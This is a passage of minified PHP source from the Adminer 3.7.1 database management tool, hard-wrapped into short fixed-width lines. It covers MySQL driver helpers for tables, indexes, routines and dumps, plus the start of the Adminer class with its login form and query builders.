s"])),"comment"=>$L["Com
ment"],"primary"=>($L["K
ey"]=="PRI"),);}return$K
;}function indexes($Q,$h
=null){$K=array();foreac
h(get_rows("SHOW INDEX F
ROM ".table($Q),$h)as$L)
{$K[$L["Key_name"]]["typ
e"]=($L["Key_name"]=="PR
IMARY"?"PRIMARY":($L["In
dex_type"]=="FULLTEXT"?"
FULLTEXT":($L["Non_uniqu
e"]?"INDEX":"UNIQUE")));
$K[$L["Key_name"]]["colu
mns"][]=$L["Column_name"
];$K[$L["Key_name"]]["le
ngths"][]=$L["Sub_part"]
;$K[$L["Key_name"]]["des
cs"][]=null;}return$K;}f
unction foreign_keys($Q)
{global$g,$Od;static$G='
`(?:[^`]|``)+`';$K=array
();$eb=$g->result("SHOW 
CREATE TABLE ".table($Q)
,1);if($eb){preg_match_a
ll("~CONSTRAINT ($G) FOR
EIGN KEY \\(((?:$G,? ?)+
)\\) REFERENCES ($G)(?:\
\.($G))? \\(((?:$G,? ?)+
)\\)(?: ON DELETE ($Od))
?(?: ON UPDATE ($Od))?~"
,$eb,$ld,PREG_SET_ORDER)
;foreach($ld as$B){preg_
match_all("~$G~",$B[2],$
jf);preg_match_all("~$G~
",$B[5],$Ef);$K[idf_unes
cape($B[1])]=array("db"=
>idf_unescape($B[4]!=""?
$B[3]:$B[4]),"table"=>id
f_unescape($B[4]!=""?$B[
4]:$B[3]),"source"=>arra
y_map('idf_unescape',$jf
[0]),"target"=>array_map
('idf_unescape',$Ef[0]),
"on_delete"=>($B[6]?$B[6
]:"RESTRICT"),"on_update
"=>($B[7]?$B[7]:"RESTRIC
T"),);}}return$K;}functi
on view($E){global$g;ret
urn array("select"=>preg
_replace('~^(?:[^`]|`[^`
]*`)*\\s+AS\\s+~isU','',
$g->result("SHOW CREATE 
VIEW ".table($E),1)));}f
unction collations(){$K=
array();foreach(get_rows
("SHOW COLLATION")as$L){
if($L["Default"])$K[$L["
Charset"]][-1]=$L["Colla
tion"];else$K[$L["Charse
t"]][]=$L["Collation"];}
ksort($K);foreach($K as$
y=>$X)asort($K[$y]);retu
rn$K;}function informati
on_schema($k){global$g;r
eturn($g->server_info>=5
&&$k=="information_schem
a")||($g->server_info>=5
.5&&$k=="performance_sch
ema");}function error(){
global$g;return h(preg_r
eplace('~^You have an er
ror.*syntax to use~U',"S
yntax error",$g->error))
;}function error_line(){
global$g;if(ereg(' at li
ne ([0-9]+)$',$g->error,
$Ne))return$Ne[1]-1;}fun
ction create_database($k
,$Ra){set_session("dbs",
null);return queries("CR
EATE DATABASE ".idf_esca
pe($k).($Ra?" COLLATE ".
q($Ra):""));}function dr
op_databases($j){restart
_session();set_session("
dbs",null);return apply_
queries("DROP DATABASE",
$j,'idf_escape');}functi
on rename_database($E,$R
a){if(create_database($E
,$Ra)){$Oe=array();forea
ch(tables_list()as$Q=>$U
)$Oe[]=table($Q)." TO ".
idf_escape($E).".".table
($Q);if(!$Oe||queries("R
ENAME TABLE ".implode(",
 ",$Oe))){queries("DROP 
DATABASE ".idf_escape(DB
));return true;}}return 
false;}function auto_inc
rement(){$wa=" PRIMARY K
EY";if($_GET["create"]!=
""&&$_POST["auto_increme
nt_col"]){foreach(indexe
s($_GET["create"])as$u){
if(in_array($_POST["fiel
ds"][$_POST["auto_increm
ent_col"]]["orig"],$u["c
olumns"],true)){$wa="";b
reak;}if($u["type"]=="PR
IMARY")$wa=" UNIQUE";}}r
eturn" AUTO_INCREMENT$wa
";}function alter_table(
$Q,$E,$n,$mc,$Va,$Nb,$Ra
,$va,$ke){$ra=array();fo
reach($n as$m)$ra[]=($m[
1]?($Q!=""?($m[0]!=""?"C
HANGE ".idf_escape($m[0]
):"ADD"):" ")." ".implod
e($m[1]).($Q!=""?$m[2]:"
"):"DROP ".idf_escape($m
[0]));$ra=array_merge($r
a,$mc);$nf="COMMENT=".q(
$Va).($Nb?" ENGINE=".q($
Nb):"").($Ra?" COLLATE "
.q($Ra):"").($va!=""?" A
UTO_INCREMENT=$va":"").$
ke;if($Q=="")return quer
ies("CREATE TABLE ".tabl
e($E)." (\n".implode(",\
n",$ra)."\n) $nf");if($Q
!=$E)$ra[]="RENAME TO ".
table($E);$ra[]=$nf;retu
rn queries("ALTER TABLE 
".table($Q)."\n".implode
(",\n",$ra));}function a
lter_indexes($Q,$ra){for
each($ra as$y=>$X)$ra[$y
]=($X[2]=="DROP"?"\nDROP
 INDEX ".idf_escape($X[1
]):"\nADD $X[0] ".($X[0]
=="PRIMARY"?"KEY ":"").(
$X[1]!=""?idf_escape($X[
1])." ":"").$X[2]);retur
n queries("ALTER TABLE "
.table($Q).implode(",",$
ra));}function truncate_
tables($S){return apply_
queries("TRUNCATE TABLE"
,$S);}function drop_view
s($sg){return queries("D
ROP VIEW ".implode(", ",
array_map('table',$sg)))
;}function drop_tables($
S){return queries("DROP 
TABLE ".implode(", ",arr
ay_map('table',$S)));}fu
nction move_tables($S,$s
g,$Ef){$Oe=array();forea
ch(array_merge($S,$sg)as
$Q)$Oe[]=table($Q)." TO 
".idf_escape($Ef).".".ta
ble($Q);return queries("
RENAME TABLE ".implode("
, ",$Oe));}function copy
_tables($S,$sg,$Ef){quer
ies("SET sql_mode = 'NO_
AUTO_VALUE_ON_ZERO'");fo
reach($S as$Q){$E=($Ef==
DB?table("copy_$Q"):idf_
escape($Ef).".".table($Q
));if(!queries("DROP TAB
LE IF EXISTS $E")||!quer
ies("CREATE TABLE $E LIK
E ".table($Q))||!queries
("INSERT INTO $E SELECT 
* FROM ".table($Q)))retu
rn false;}foreach($sg as
$Q){$E=($Ef==DB?table("c
opy_$Q"):idf_escape($Ef)
.".".table($Q));$rg=view
($Q);if(!queries("DROP V
IEW IF EXISTS $E")||!que
ries("CREATE VIEW $E AS 
$rg[select]"))return fal
se;}return true;}functio
n trigger($E){if($E=="")
return array();$M=get_ro
ws("SHOW TRIGGERS WHERE 
`Trigger` = ".q($E));ret
urn reset($M);}function 
triggers($Q){$K=array();
foreach(get_rows("SHOW T
RIGGERS LIKE ".q(addcsla
shes($Q,"%_\\")))as$L)$K
[$L["Trigger"]]=array($L
["Timing"],$L["Event"]);
return$K;}function trigg
er_options(){return arra
y("Timing"=>array("BEFOR
E","AFTER"),"Type"=>arra
y("FOR EACH ROW"),);}fun
ction routine($E,$U){glo
bal$g,$Pb,$Lc,$cg;$pa=ar
ray("bool","boolean","in
teger","double precision
","real","dec","numeric"
,"fixed","national char"
,"national varchar");$bg
="((".implode("|",array_
merge(array_keys($cg),$p
a)).")\\b(?:\\s*\\(((?:[
^'\")]*|$Pb)+)\\))?\\s*(
zerofill\\s*)?(unsigned(
?:\\s+zerofill)?)?)(?:\\
s*(?:CHARSET|CHARACTER\\
s+SET)\\s*['\"]?([^'\"\\
s]+)['\"]?)?";$G="\\s*("
.($U=="FUNCTION"?"":$Lc)
.")?\\s*(?:`((?:[^`]|``)
*)`\\s*|\\b(\\S+)\\s+)$b
g";$i=$g->result("SHOW C
REATE $U ".idf_escape($E
),2);preg_match("~\\(((?
:$G\\s*,?)*)\\)\\s*".($U
=="FUNCTION"?"RETURNS\\s
+$bg\\s+":"")."(.*)~is",
$i,$B);$n=array();preg_m
atch_all("~$G\\s*,?~is",
$B[1],$ld,PREG_SET_ORDER
);foreach($ld as$fe){$E=
str_replace("``","`",$fe
[2]).$fe[3];$n[]=array("
field"=>$E,"type"=>strto
lower($fe[5]),"length"=>
preg_replace_callback("~
$Pb~s",'normalize_enum',
$fe[6]),"unsigned"=>strt
olower(preg_replace('~\\
s+~',' ',trim("$fe[8] $f
e[7]"))),"null"=>1,"full
_type"=>$fe[4],"inout"=>
strtoupper($fe[1]),"coll
ation"=>strtolower($fe[9
]),);}if($U!="FUNCTION")
return array("fields"=>$
n,"definition"=>$B[11]);
return array("fields"=>$
n,"returns"=>array("type
"=>$B[12],"length"=>$B[1
3],"unsigned"=>$B[15],"c
ollation"=>$B[16]),"defi
nition"=>$B[17],"languag
e"=>"SQL",);}function ro
utines(){return get_rows
("SELECT ROUTINE_NAME, R
OUTINE_TYPE, DTD_IDENTIF
IER FROM information_sch
ema.ROUTINES WHERE ROUTI
NE_SCHEMA = ".q(DB));}fu
nction routine_languages
(){return array();}funct
ion begin(){return queri
es("BEGIN");}function in
sert_into($Q,$P){return 
queries("INSERT INTO ".t
able($Q)." (".implode(",
 ",array_keys($P)).")\nV
ALUES (".implode(", ",$P
).")");}function insert_
update($Q,$P,$we){foreac
h($P as$y=>$X)$P[$y]="$y
 = $X";$kg=implode(", ",
$P);return queries("INSE
RT INTO ".table($Q)." SE
T $kg ON DUPLICATE KEY U
PDATE $kg");}function la
st_id(){global$g;return$
g->result("SELECT LAST_I
NSERT_ID()");}function e
xplain($g,$I){return$g->
query("EXPLAIN ".($g->se
rver_info>=5.1?"PARTITIO
NS ":"").$I);}function f
ound_rows($R,$Z){return(
$Z||$R["Engine"]!="InnoD
B"?null:$R["Rows"]);}fun
ction types(){return arr
ay();}function schemas()
{return array();}functio
n get_schema(){return"";
}function set_schema($af
){return true;}function 
create_sql($Q,$va){globa
l$g;$K=$g->result("SHOW 
CREATE TABLE ".table($Q)
,1);if(!$va)$K=preg_repl
ace('~ AUTO_INCREMENT=\\
d+~','',$K);return$K;}fu
nction truncate_sql($Q){
return"TRUNCATE ".table(
$Q);}function use_sql($k
b){return"USE ".idf_esca
pe($kb);}function trigge
r_sql($Q,$sf){$K="";fore
ach(get_rows("SHOW TRIGG
ERS LIKE ".q(addcslashes
($Q,"%_\\")),null,"-- ")
as$L)$K.="\n".($sf=='CRE
ATE+ALTER'?"DROP TRIGGER
 IF EXISTS ".idf_escape(
$L["Trigger"]).";;\n":""
)."CREATE TRIGGER ".idf_
escape($L["Trigger"])." 
$L[Timing] $L[Event] ON 
".table($L["Table"])." F
OR EACH ROW\n$L[Statemen
t];;\n";return$K;}functi
on show_variables(){retu
rn get_key_vals("SHOW VA
RIABLES");}function proc
ess_list(){return get_ro
ws("SHOW FULL PROCESSLIS
T");}function show_statu
s(){return get_key_vals(
"SHOW STATUS");}function
 convert_field($m){if(er
eg("binary",$m["type"]))
return"HEX(".idf_escape(
$m["field"]).")";if($m["
type"]=="bit")return"BIN
(".idf_escape($m["field"
])." + 0)";if(ereg("geom
etry|point|linestring|po
lygon",$m["type"]))retur
n"AsWKT(".idf_escape($m[
"field"]).")";}function 
unconvert_field($m,$K){i
f(ereg("binary",$m["type
"]))$K="UNHEX($K)";if($m
["type"]=="bit")$K="CONV
($K, 2, 10) + 0";if(ereg
("geometry|point|linestr
ing|polygon",$m["type"])
)$K="GeomFromText($K)";r
eturn$K;}function suppor
t($fc){global$g;return!e
reg("scheme|sequence|typ
e".($g->server_info<5.1?
"|event|partitioning".($
g->server_info<5?"|view|
routine|trigger":""):"")
,$fc);}$x="sql";$cg=arra
y();$rf=array();foreach(
array('Numbers'=>array("
tinyint"=>3,"smallint"=>
5,"mediumint"=>8,"int"=>
10,"bigint"=>20,"decimal
"=>66,"float"=>12,"doubl
e"=>21),'Date and time'=
>array("date"=>10,"datet
ime"=>19,"timestamp"=>19
,"time"=>10,"year"=>4),'
Strings'=>array("char"=>
255,"varchar"=>65535,"ti
nytext"=>255,"text"=>655
35,"mediumtext"=>1677721
5,"longtext"=>4294967295
),'Lists'=>array("enum"=
>65535,"set"=>64),'Binar
y'=>array("bit"=>20,"bin
ary"=>255,"varbinary"=>6
5535,"tinyblob"=>255,"bl
ob"=>65535,"mediumblob"=
>16777215,"longblob"=>42
94967295),'Geometry'=>ar
ray("geometry"=>0,"point
"=>0,"linestring"=>0,"po
lygon"=>0,"multipoint"=>
0,"multilinestring"=>0,"
multipolygon"=>0,"geomet
rycollection"=>0),)as$y=
>$X){$cg+=$X;$rf[$y]=arr
ay_keys($X);}$jg=array("
unsigned","zerofill","un
signed zerofill");$Sd=ar
ray("=","<",">","<=",">=
","!=","LIKE","LIKE %%",
"REGEXP","IN","IS NULL",
"NOT LIKE","NOT REGEXP",
"NOT IN","IS NOT NULL","
SQL");$vc=array("char_le
ngth","date","from_unixt
ime","lower","round","se
c_to_time","time_to_sec"
,"upper");$zc=array("avg
","count","count distinc
t","group_concat","max",
"min","sum");$Fb=array(a
rray("char"=>"md5/sha1/p
assword/encrypt/uuid","b
inary"=>"md5/sha1","date
|time"=>"now",),array("(
^|[^o])int|float|double|
decimal"=>"+/-","date"=>
"+ interval/- interval",
"time"=>"addtime/subtime
","char|text"=>"concat",
));}define("SERVER",$_GE
T[DRIVER]);define("DB",$
_GET["db"]);define("ME",
preg_replace('~^[^?]*/([
^?]*).*~','\\1',$_SERVER
["REQUEST_URI"]).'?'.(si
d()?SID.'&':'').(SERVER!
==null?DRIVER."=".urlenc
ode(SERVER).'&':'').(iss
et($_GET["username"])?"u
sername=".urlencode($_GE
T["username"]).'&':'').(
DB!=""?'db='.urlencode(D
B).'&'.(isset($_GET["ns"
])?"ns=".urlencode($_GET
["ns"])."&":""):''));$ga
="3.7.1";class Adminer{v
ar$operators;function na
me(){return"<a href='htt
p://www.adminer.org/' id
='h1'>Adminer</a>";}func
tion credentials(){retur
n array(SERVER,$_GET["us
ername"],get_session("pw
ds"));}function permanen
tLogin($i=false){return 
password_file($i);}funct
ion database(){return DB
;}function databases($lc
=true){return get_databa
ses($lc);}function query
Timeout(){return 5;}func
tion headers(){return tr
ue;}function head(){retu
rn true;}function loginF
orm(){global$zb;echo'<ta
ble cellspacing="0"> <tr
><th>System<td>',html_se
lect("auth[driver]",$zb,
DRIVER,"loginDriver(this
);"),'<tr><th>Server<td>
<input name="auth[server
]" value="',h(SERVER),'"
 title="hostname[:port]"
 placeholder="localhost"
 autocapitalize="off"> <
tr><th>Username<td><inpu
t name="auth[username]" 
id="username" value="',h
($_GET["username"]),'" a
utocapitalize="off"> <tr
><th>Password<td><input 
type="password" name="au
th[password]"> <tr><th>D
atabase<td><input name="
auth[db]" value="',h($_G
ET["db"]);?>" autocapita
lize="off"> </table> <sc
ript type="text/javascri
pt"> var username = docu
ment.getElementById('use
rname'); focus(username)
; username.form['auth[dr
iver]'].onchange(); </sc
ript> <?php  echo"<p><in
put type='submit' value=
'".'Login'."'>\n",checkb
ox("auth[permanent]",1,$
_COOKIE["adminer_permane
nt"],'Permanent login').
"\n";}function login($jd
,$ne){return true;}funct
ion tableName($yf){retur
n h($yf["Name"]);}functi
on fieldName($m,$Vd=0){r
eturn'<span title="'.h($
m["full_type"]).'">'.h($
m["field"]).'</span>';}f
unction selectLinks($yf,
$P=""){echo'<p class="ta
bs">';$id=array("select"
=>'Select data',"table"=
>'Show structure');if(is
_view($yf))$id["view"]='
Alter view';else$id["cre
ate"]='Alter table';if($
P!==null)$id["edit"]='Ne
w item';foreach($id as$y
=>$X)echo" <a href='".h(
ME)."$y=".urlencode($yf[
"Name"]).($y=="edit"?$P:
"")."'".bold(isset($_GET
[$y])).">$X</a>";echo"\n
";}function foreignKeys(
$Q){return foreign_keys(
$Q);}function backwardKe
ys($Q,$xf){return array(
);}function backwardKeys
Print($ya,$L){}function 
selectQuery($I){global$x
,$T;return"<form action=
'".h(ME)."sql=' method='
post'><p><span onclick=\
"return !selectEditSql(e
vent, this, '".'Execute'
."');\">"."<code class='
jush-$x'>".h(str_replace
("\n"," ",$I))."</code>"
." <a href='".h(ME)."sql
=".urlencode($I)."'>".'E
dit'."</a>"."</span><inp
ut type='hidden' name='t
oken' value='$T'></p></f
orm>\n";}function rowDes
cription($Q){return"";}f
unction rowDescriptions(
$M,$nc){return$M;}functi
on selectLink($X,$m){}fu
nction selectVal($X,$_,$
m){$K=($X===null?"<i>NUL
L</i>":(ereg("char|binar
y",$m["type"])&&!ereg("v
ar",$m["type"])?"<code>$
X</code>":$X));if(ereg('
blob|bytea|raw|file',$m[
"type"])&&!is_utf8($X))$
K=lang(array('%d byte','
%d bytes'),strlen(html_e
ntity_decode($X,ENT_QUOT
ES)));return($_?"<a href
='".h($_)."'>$K</a>":$K)
;}function editVal($X,$m
){return$X;}function sel
ectColumnsPrint($N,$f){g
lobal$vc,$zc;print_field
set("select",'Select',$N
);$s=0;$tc=array('Functi
ons'=>$vc,'Aggregation'=
>$zc);foreach($N as$y=>$
X){$X=$_GET["columns"][$
y];echo"<div>".html_sele
ct("columns[$s][fun]",ar
ray(-1=>"")+$tc,$X["fun"
]),"(<select name='colum
ns[$s][col]' onchange='s
electFieldChange(this.fo
rm);'><option>".optionli
st($f,$X["col"],true)."<
/select>)</div>\n";$s++;
}echo"<div>".html_select
("columns[$s][fun]",arra
y(-1=>"")+$tc,"","this.n
extSibling.nextSibling.o
nchange();"),"(<select n
ame='columns[$s][col]' o
nchange='selectAddRow(th
is);'><option>".optionli
st($f,null,true)."</sele
ct>)</div>\n","</div></f
ieldset>\n";}function se
lectSearchPrint($Z,$f,$v
){print_fieldset("search
",'Search',$Z);foreach($
v as$s=>$u){if($u["type"
]=="FULLTEXT"){echo"(<i>
".implode("</i>, <i>",ar
ray_map('h',$u["columns"
]))."</i>) AGAINST"," <i
nput type='search' name=
'fulltext[$s]' value='".
h($_GET["fulltext"][$s])
."' onchange='selectFiel
dChange(this.form);'>",c
heckbox("boolean[$s]",1,
isset($_GET["boolean"][$
s]),"BOOL"),"<br>\n";}}$
_GET["where"]=(array)$_G
ET["where"];reset($_GET[
"where"]);$Ha="this.next
Sibling.onchange();";for
($s=0;$s<=count($_GET["w
here"]);$s++){list(,$X)=
each($_GET["where"]);if(
!$X||("$X[col]$X[val]"!=
""&&in_array($X["op"],$t
his->operators))){echo"<
div><select name='where[
$s][col]' onchange='$Ha'
><option value=''>(".'an
ywhere'.")".optionlist($
f,$X["col"],true)."</sel
ect>",html_select("where
[$s][op]",$this->operato
rs,$X["op"],$Ha),"<input
 type='search' name='whe
re[$s][val]' value='".h(
$X["val"])."' onchange='
".($X?"selectFieldChange
(this.form)":"selectAddR
ow(this)").";' onsearch=
'selectSearchSearch(this
);'></div>\n";}}echo"</d
iv></fieldset>\n";}funct
ion selectOrderPrint($Vd
,$f,$v){print_fieldset("
sort",'Sort',$Vd);$s=0;f
oreach((array)$_GET["ord
er"]as$y=>$X){if(isset($
f[$X])){echo"<div><selec
t name='order[$s]' oncha
nge='selectFieldChange(t
his.form);'><option>".op
tionlist($f,$X,true)."</
select>",checkbox("desc[
$s]",1,isset($_GET["desc
"][$y]),'descending')."<
/div>\n";$s++;}}echo"<di
v><select name='order[$s
]' onchange='selectAddRo
w(this);'><option>".opti
onlist($f,null,true)."</
select>",checkbox("desc[
$s]",1,false,'descending
')."</div>\n","</div></f
ieldset>\n";}function se
lectLimitPrint($z){echo"
<fieldset><legend>".'Lim
it'."</legend><div>";ech
o"<input type='number' n
ame='limit' class='size'
 value='".h($z)."' oncha
nge='selectFieldChange(t
his.form);'>","</div></f
ieldset>\n";}function se
lectLengthPrint($Jf){if(
$Jf!==null){echo"<fields
et><legend>".'Text lengt
h'."</legend><div>","<in
put type='number' name='
text_length' class='size
' value='".h($Jf)."'>","
</div></fieldset>\n";}}f
unction selectActionPrin
t($v){echo"<fieldset><le
gend>".'Action'."</legen
d><div>","<input type='s
ubmit' value='".'Select'
."'>"," <span id='noinde
x' title='".'Full table 
scan'."'></span>","<scri
pt type='text/javascript
'>\n","var indexColumns 
= ";$f=array();foreach($
v as$u){if($u["type"]!="
FULLTEXT")$f[reset($u["c
olumns"])]=1;}$f[""]=1;f
oreach($f as$y=>$X)json_
row($y);echo";\n","selec
tFieldChange(document.ge
tElementById('form'));\n
","</script>\n","</div><
/fieldset>\n";}function 
selectCommandPrint(){ret
urn!information_schema(D
B);}function selectImpor
tPrint(){return!informat
ion_schema(DB);}function
 selectEmailPrint($Jb,$f
){}function selectColumn
sProcess($f,$v){global$v
c,$zc;$N=array();$xc=arr
ay();foreach((array)$_GE
T["columns"]as$y=>$X){if
($X["fun"]=="count"||(is
set($f[$X["col"]])&&(!$X
["fun"]||in_array($X["fu
n"],$vc)||in_array($X["f
un"],$zc)))){$N[$y]=appl
y_sql_function($X["fun"]
,(isset($f[$X["col"]])?i
df_escape($X["col"]):"*"
));if(!in_array($X["fun"
],$zc))$xc[]=$N[$y];}}re
turn array($N,$xc);}func
tion selectSearchProcess
($n,$v){global$x;$K=arra
y();foreach($v as$s=>$u)
{if($u["type"]=="FULLTEX
T"&&$_GET["fulltext"][$s
]!="")$K[]="MATCH (".imp
lode(", ",array_map('idf
_escape',$u["columns"]))
.") AGAINST (".q($_GET["
fulltext"][$s]).(isset($
_GET["boolean"][$s])?" I
N BOOLEAN MODE":"").")";
}foreach((array)$_GET["w
here"]as$X){if("$X[col]$
X[val]"!=""&&in_array($X
["op"],$this->operators)
){$Xa=" $X[op]";if(ereg(
'IN$',$X["op"])){$Ic=pro
cess_length($X["val"]);$
Xa.=" (".($Ic!=""?$Ic:"N
ULL").")";}elseif($X["op
"]=="SQL")$Xa=" $X[val]"
;elseif($X["op"]=="LIKE 
%%")$Xa=" LIKE ".$this->
processInput($n[$X["col"
]],"%$X[val]%");elseif(!
ereg('NULL$',$X["op"]))$
Xa.=" ".$this->processIn
put($n[$X["col"]],$X["va
l"]);if($X["col"]!="")$K
[]=idf_escape($X["col"])
.$Xa;else{$Sa=array();fo
reach($n as$E=>$m){$Rc=e
reg('char|text|enum|set'
,$m["type"]);if((is_nume
ric($X["val"])||!ereg('(
^|[^o])int|float|double|
decimal|bit',$m["type"])
)&&(!ereg("[\x80-\xFF]",
$X["val"])||$Rc)){$E=idf
_escape($E);$Sa[]=($x=="
sql"&&$Rc&&!ereg('^utf8'
,$m["collation"])?"CONVE
RT($E USING utf8)":$E);}
}$K[]=($Sa?"(".implode("
$Xa OR ",$Sa)."$Xa)":"0"
);}}}return$K;}function 
selectOrderProcess($n,$v
){$K=array();foreach((ar
ray)$_GET["order"]as$y=>
$X){if(isset($n[$X])||pr
eg_match('~^((COUNT\\(DI
STINCT |[A-Z0-9_]+\\()(`
(?:[^`]|``)+`|"(?:[^"]|"
")+")\\)|COUNT\\(\\*\\))
$~',$X))$K[]=(isset($n[$
X])?idf_escape($X):$X).(
isset($_GET["desc"][$y])
?" DESC":"");}return$K;}
function selectLimitProc
ess(){return(isset($_GET
["limit"])?$_GET["limit"
]:"50");}function select
LengthProcess(){return(i
sset($_GET["text_length"
])?$_GET["text_length"]:
"100");}function selectE
mailProcess($Z,$nc){retu
rn false;}function selec
tQueryBuild($N,$Z,$xc,$V
d,$z,$F){return"";}funct
ion messageQuery($I){glo
bal$x;restart_session();
$Bc=&get_session("querie
s");$t="sql-".count($Bc[
$_GET["db"]]);if(strlen(
$I)>1e6)$I=ereg_replace(
'[\x80-\xFF]+$','',subst
r($I,0,1e6))."\n...";$Bc
[$_GET["db"]][]=array($I
,time());return" <span c
lass='time'>".@date("H:i
:s")."</span> <a href='#
$t' onclick=\"return !to
ggle('$t');\">".'SQL com
mand'."</a><div id='$t' 
class='hidden'><pre><cod
e class='jush-$x'>".shor
ten_utf8($I,1000).'</cod
e></pre><p><a href="'.h(
str_replace("db=".urlenc
ode(DB),"db=".urlencode(
$_GET["db"]),ME).'sql=&h
istory='.(count($Bc[$_GE
T["db"]])-1)).'">'.'Edit
'.'</a></div>';}function
 editFunctions($m){globa
l$Fb;$K=($m["null"]?"NUL
L/":"");foreach($Fb as$y
=>$vc){if(!$y||(!isset($
_GET["call"])&&(isset($_
GET["select"])||where($_
GET)))){foreach($vc as$G
=>$X){if(!$G||ereg($G,$m
["type"]))$K.="/$X";}if(
$y&&!ereg('set|blob|byte
a|raw|file',$m["type"]))
$K.="/SQL";}}return expl
ode("/",$K);}function ed
itInput($Q,$m,$ua,$Y){if
($m["type"]=="enum")retu
rn(isset($_GET["select"]
)?"<label><input type='r
adio'$ua value='-1' chec
ked><i>".'original'."</i
></label> ":"").($m["nul
l"]?"<label><input type=
'radio'$ua value=''".($Y
!==null||isset($_GET["se
lect"])?"":" checked")."
><i>NULL</i></label> ":"
").enum_input("radio",$u
a,$m,$Y,0);return"";}fun
ction processInput($m,$Y
,$q=""){if($q=="SQL")ret
urn$Y;$E=$m["field"];$K=
q($Y);if(ereg('^(now|get
date|uuid)$',$q))$K="$q(
)";elseif(ereg('^current
_(date|timestamp)$',$q))
$K=$q;elseif(ereg('^([+-
]|\\|\\|)$',$q))$K=idf_e
scape($E)." $q $K";elsei
f(ereg('^[+-] interval$'
,$q))$K=idf_escape($E)."
 $q ".(preg_match("~^(\\
d+|'[0-9.: -]') [A-Z_]+$
~i",$Y)?$Y:$K);elseif(er
eg('^(addtime|subtime|co
ncat)$',$q))$K="$q(".idf
_escape($E).", $K)";else
if(ereg('^(md5|sha1|pass
word|encrypt)$',$q))$K="
$q($K)";return unconvert
_field($m,$K);}function 
dumpOutput(){$K=array('t
ext'=>'open','file'=>'sa
ve');if(function_exists(
'gzencode'))$K['gz']='gz
ip';return$K;}function d
umpFormat(){return array
('sql'=>'SQL','csv'=>'CS
V,','csv;'=>'CSV;','tsv'
=>'TSV');}function dumpD
atabase($k){}function du
mpTable($Q,$sf,$Sc=0){if
($_POST["format"]!="sql"
){echo"\xef\xbb\xbf";if(
$sf)dump_csv(array_keys(
fields($Q)));}elseif($sf
){if($Sc==2){$n=array();
foreach(fields($Q)as$E=>
$m)$n[]=idf_escape($E)."
 $m[full_type]";$i="CREA
TE TABLE ".table($Q)." (
".implode(", ",$n).")";}
else$i=create_sql($Q,$_P
OST["auto_increment"]);i
f($i){if($sf=="DROP+CREA
TE"||$Sc==1)echo"DROP ".
($Sc==2?"VIEW":"TABLE").
" IF EXISTS ".table($Q).
";\n";if($Sc==1)$i=remov
e_definer($i);echo"$i;\n
\n";}}}function dumpData
($Q,$sf,$I){global$g,$x;
$nd=($x=="sqlite"?0:1048
576);if($sf){if($_POST["
format"]=="sql"){if($sf=
="TRUNCATE+INSERT")echo 
truncate_sql($Q).";\n";$
n=fields($Q);}$J=$g->que
ry($I,1);if($J){$Nc="";$
Fa="";$Uc=array();$uf=""
;$gc=($Q!=''?'fetch_asso
c':'fetch_row');while($L
=$J->$gc()){if(!$Uc){$pg
=array();foreach($L as$X
){$m=$J->fetch_field();$
Uc[]=$m->name;$y=idf_esc
ape($m->name);$pg[]="$y 
= VALUES($y)";}$uf=($sf=
="INSERT+UPDATE"?"\nON D
UPLICATE KEY UPDATE ".im
plode(", ",$pg):"").";\n
";}if($_POST["format"]!=
"sql"){if($sf=="table"){
dump_csv($Uc);$sf="INSER
T";}dump_csv($L);}else{i
f(!$Nc)$Nc="INSERT INTO 
".table($Q)." (".implode
(", ",array_map('idf_esc
ape',$Uc)).") VALUES";fo
reach($L as$y=>$X){$m=$n
[$y];$L[$y]=($X!==null?u
nconvert_field($m,ereg('
(^|[^o])int|float|double
|decimal',$m["type"])&&$
X!=''?$X:q($X)):"NULL");
}$Ye=($nd?"\n":" ")."(".
implode(",\t",$L).")";if
(!$Fa)$Fa=$Nc.$Ye;elseif
(strlen($Fa)+4+strlen($Y
e)+strlen($uf)<$nd)$Fa.=
",$Ye";else{echo$Fa.$uf;
$Fa=$Nc.$Ye;}}}if($Fa)ec
ho$Fa.$uf;}elseif($_POST
["format"]=="sql")echo"-
- ".str_replace("\n"," "
,$g->error)."\n";}}funct
ion dumpFilename($Fc){re
turn friendly_url($Fc!="
"?$Fc:(SERVER!=""?SERVER
:"localhost"));}function
 dumpHeaders($Fc,$zd=fal
se){$de=$_POST["output"]
;$bc=(ereg('sql',$_POST[
"format"])?"sql":($zd?"t
ar":"csv"));header("Cont
ent-Type: ".($de=="gz"?"
application/x-gzip":($bc
=="tar"?"application/x-t
ar":($bc=="sql"||$de!="f
ile"?"text/plain":"text/
csv")."; charset=utf-8")
));if($de=="gz")ob_start
('gzencode',1e6);return$
bc;}function homepage(){
echo'<p>'.($_GET["ns"]==
""?'<a href="'.h(ME).'da
tabase=">'.'Alter databa
se'."</a>\n":""),(suppor
t("scheme")?"<a href='".
h(ME)."scheme='>".($_GET
["ns"]!=""?'Alter schema
':'Create schema')."</a>
\n":""),($_GET["ns"]!=="
"?'<a href="'.h(ME).'sch
ema=">'.'Database schema
'."</a>\n":""),(support(
"privileges")?"<a href='
".h(ME)."privileges='>".
'Privileges'."</a>\n":""
);return true;}function 
navigation($yd){global$g
a,$T,$x,$zb;echo'<h1> ',
$this->name(),' <span cl
ass="version">',$ga,'</s
pan> <a href="http://www
.adminer.org/#download" 
id="version">',(version_
compare($ga,$_COOKIE["ad
miner_version"])<0?h($_C
OOKIE["adminer_version"]
):""),'</a> </h1> ';if($
yd=="auth"){$kc=true;for
each((array)$_SESSION["p
wds"]as$yb=>$gf){foreach
($gf as$O=>$og){foreach(
$og as$V=>$ne){if($ne!==
null){if($kc){echo"<p id
='logins' onmouseover='m
enuOver(this, event);' o
nmouseout='menuOut(this)
;'>\n";$kc=false;}$nb=$_
SESSION["db"][$yb][$O][$
V];foreach(($nb?array_ke
ys($nb):array(""))as$k)e
cho"<a href='".h(auth_ur
l($yb,$O,$V,$k))."'>($zb
[$yb]) ".h($V.($O!=""?"@
$O":"").($k!=""?" - $k":
""))."</a><br>\n";}}}}}e
lse{echo'<form action=""
 method="post"> <p class
="logout"> ';if(DB==""||
!$yd){echo"<a href='".h(
ME)."sql='".bold(isset($
_GET["sql"]))." title='"
.'Import'."'>".'SQL comm
and'."</a>\n";if(support
("dump"))echo"<a href='"
.h(ME)."dump=".urlencode
(isset($_GET["table"])?$
_GET["table"]:$_GET["sel
ect"])."' id='dump'".bol
d(isset($_GET["dump"])).
">".'Dump'."</a>\n";}ech
o'<input type="submit" n
ame="logout" value="Logo
ut" id="logout"> <input 
type="hidden" name="toke
n" value="',$T,'"> </p> 
</form> ';$this->databas
esPrint($yd);if($_GET["n
s"]!==""&&!$yd&&DB!=""){
